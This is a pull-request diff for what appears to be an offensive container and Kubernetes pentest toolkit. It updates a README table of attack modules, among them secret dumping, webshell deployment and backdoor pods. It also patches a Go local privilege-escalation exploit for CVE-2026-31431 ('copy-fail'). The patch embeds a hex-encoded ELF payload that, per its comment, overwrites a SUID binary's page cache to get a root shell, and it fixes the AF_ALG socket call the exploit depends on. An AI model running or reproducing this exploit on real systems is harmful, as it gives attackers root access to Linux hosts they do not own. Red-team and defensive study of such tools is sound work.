Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -160,7 +160,7 @@ cdk run <script-name> [options]
| Credential Access | Dump K8s Secrets | k8s-secret-dump | ✔ | ✔ | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-secret-dump) |
| Credential Access | Dump K8s Config | k8s-configmap-dump | ✔ | ✔ | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-configmap-dump) |
| Privilege Escalation | K8s RBAC Bypass | k8s-get-sa-token | ✔ | ✔ | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-get-sa-token) |
| Privilege Escalation | CVE-2026-31431 copy-fail (non-root→root, **no container escape**) | copy-fail-cve-2026-31431 | ✔ | | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-copy-fail-cve-2026-31431) |
| Privilege Escalation | CVE-2026-31431 copy-fail (non-root→root & x86_64 only) | copy-fail-cve-2026-31431 | ✔ | | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-copy-fail-cve-2026-31431) |
| Persistence | Deploy WebShell | webshell-deploy | ✔ | ✔ | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-webshell-deploy) |
| Persistence | Deploy Backdoor Pod | k8s-backdoor-daemonset | ✔ | ✔ | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-backdoor-daemonset) |
| Persistence | Deploy Shadow K8s api-server | k8s-shadow-apiserver | ✔ || [link](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-shadow-apiserver) |
Expand Down
31 changes: 24 additions & 7 deletions pkg/exploit/privilege_escalation/copy_fail_cve_2026_31431.go
Original file line number Diff line number Diff line change
Expand Up @@ -52,12 +52,10 @@ import (
"golang.org/x/sys/unix"
)

// copyFailPayloadHex is a zlib-compressed ELF64 little-endian binary stub
// (160 bytes uncompressed) to be injected into the SUID target's page cache.
// The stub starts with a valid ELF64/x86-64 header (magic 0x7fELF, class 2,
// data encoding 1) so it passes the kernel's ELF loader checks.
// Generated with: python3 -c "import zlib,struct; h=bytearray(160); h[0:4]=b'\x7fELF'; h[4]=2; h[5]=1; h[6]=1; struct.pack_into('<H',h,16,2); struct.pack_into('<H',h,18,0x3e); struct.pack_into('<I',h,20,1); struct.pack_into('<H',h,52,64); print(zlib.compress(bytes(h)).hex())"
const copyFailPayloadHex = "789cab77f57163626464800126063b06040f3b7020204f4d0000163d01dc"
// copyFailPayloadHex is the original zlib-compressed x86_64 ELF payload used
// by the reference Python PoC. It replaces the target SUID binary's page cache
// with a tiny setuid-root launcher that eventually executes `/bin/sh`.
const copyFailPayloadHex = "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"

// copyFailDecompressPayload decompresses the embedded zlib payload.
func copyFailDecompressPayload() ([]byte, error) {
Expand Down Expand Up @@ -91,6 +89,24 @@ func buildAlgCmsg(level, typ int32, data []byte) []byte {
return buf
}

// acceptAlgOpFd accepts the operation socket from an AF_ALG listener. Unlike
// the generic unix.Accept helper, AF_ALG expects addr/addrlen to be NULL.
func acceptAlgOpFd(algFd int) (int, error) {
fd, _, errno := unix.Syscall6(
unix.SYS_ACCEPT4,
uintptr(algFd),
0,
0,
uintptr(unix.SOCK_CLOEXEC),
0,
0,
)
if errno != 0 {
return 0, errno
}
return int(fd), nil
}

// copyFailWriteChunk uses an AF_ALG AEAD socket together with splice to write
// exactly four bytes of chunk into the page cache of the file identified by fd
// at the given byte offset.
Expand Down Expand Up @@ -142,7 +158,8 @@ func copyFailWriteChunk(fd int, offset int, chunk []byte) error {
}

// Accept returns the operation socket used for actual encrypt/decrypt calls.
opFd, _, err := unix.Accept(algFd)
// AF_ALG sockets expect accept4(..., NULL, NULL, SOCK_CLOEXEC).
opFd, err := acceptAlgOpFd(algFd)
if err != nil {
return fmt.Errorf("accept: %v", err)
}
Expand Down
Loading